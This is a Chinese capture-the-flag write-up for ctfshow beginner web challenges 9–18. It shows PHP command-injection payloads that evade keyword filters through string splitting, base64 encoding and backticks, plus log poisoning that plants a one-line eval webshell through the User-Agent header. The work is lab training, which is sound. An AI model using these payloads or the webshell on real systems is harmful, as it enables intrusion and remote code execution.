IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow 做题 萌新 模块(4) -> 正文阅读

[PHP知识库]ctfshow 做题 萌新 模块(4)

ctfshow 做题 萌新 模块(4)

——

web9

给出提示: flag in config.php
所以我们是需要得到 config.php 文件里的内容。
代码中有 preg_match 函数,一开始以为是对这些函数进行过滤,后面才发现 else 后面才是回显错误,所以是必须用上这些给出的函数。
请添加图片描述

传入

?c=highlight_file(‘config.php’);

?c=system(‘cat config.php’);

请添加图片描述

——
——

web10

这题就是不能使用给出的这些函数。
请添加图片描述

使用 highlight_file()函数的别名 show_source() 函数得到 flag 。

还可以使用拆分函数字符的方法:

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');

请添加图片描述

——
——

web11

这题还是不能用上给出的这些字符。
请添加图片描述

继续

?c=show_source(‘config.php’);

请添加图片描述

——
——

web12

被过滤的字符又变多了。
过滤了字符点,文件名的字符也被过滤了。
请添加图片描述

收集常用的命令执行函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

这里用到一个反引号,就是先将命令中反引号的命令先执行,再执行整条命令的结果。
传入:
cat 字符中使用单引号或双引号或斜杆用于绕过 cat 被过滤。

?c=passthru("ca''t `ls`");

还有一个绕过过滤的方法,对被过滤的字符进行编码:

c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

c3lzdGVt 是 system 的 base64 编码,Y2F0IGNvbmZpZy5waHA= 是 cat config.php 的 base64 编码。
请添加图片描述

——
——

web13

分号和字符 file 也被过滤了。
请添加图片描述

分号被过滤,我们无法对语句进行闭合了,选择用 ?> 对语句进行闭合。
前面一题的 payload :

?c=passthru("ca''t `ls`")?>

请添加图片描述

还可以用到一个函数 assert() ,
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp 是 system(‘config.php’) 的 base64 编码。

——
——

web14

多过滤了一个括号的字符,就不能用命令执行的方法了。
请添加图片描述

这里用 get 和 post 结合传入参数。
先 GET 传入

?c=echo `$_POST[1]`?>

再进行 POST 传入

1=cat config.php

请添加图片描述

然后在 F12 源码中得到 flag 。
感觉做法有点类似于文件上传,即先传入一个可操作的参数,再用这个参数执行命令。

请添加图片描述

——
——

web15

等号、尖括号、问号、星号也被过滤了,即不能用 ?> 代替分号,参数后面也不能用等号接传入的值。
不过分号可以使用了。
请添加图片描述

前一题的方法
get 传入:

?c=echo `$_POST[1]`;

post 传入:

1=cat config.php

请添加图片描述

——
——

web16

代码告诉我们传入参数 c 。
满足 md5(“ctfshow$c”)===“a6f57ae38a22448c2f07f3f95f49c84e”) 即可回显 flag 。
请添加图片描述

md5 解密得到: ctfshow36d
即 c 的值为 36d
请添加图片描述

传入
?c=36d
得到 flag 。
请添加图片描述

——
——

web17

看到 include() 函数,可以判断这题用到文件包含的方法。
请添加图片描述

这题用到日志注入的方法,前面做过一题 web 模块中的 web4 也是用日志注入的方法。
尝试访问日志文件:

?c=/var/log/nginx/access.log

看到成功回显,说明可以运用这个方法。
请添加图片描述

把 User-Agent 的值改为一句话木马:

<?php @eval($_POST['a']);?>

请添加图片描述

然后用蚁剑连接。
请添加图片描述

html 文件夹里有个 36d.php 文件,打开里面的内容为 flag 。
请添加图片描述

——
——

web18

额,多过滤了字符 file ,还是不影响用前面的方法。
不过应该有更简单的方法,只需要对参数 c 传入特定的值就能回显 flag 。(不知道文件包含中伪协议的方法可不可用)
请添加图片描述

先尝试 ?c=/var/log/nginx/access.log 有回显,抓包把 User-Agent 的值改为一句话木马,然后用蚁剑连接,打开文件 36d.php 得到 flag 。
请添加图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-23 11:13:30  更:2021-09-23 11:13:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 22:56:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码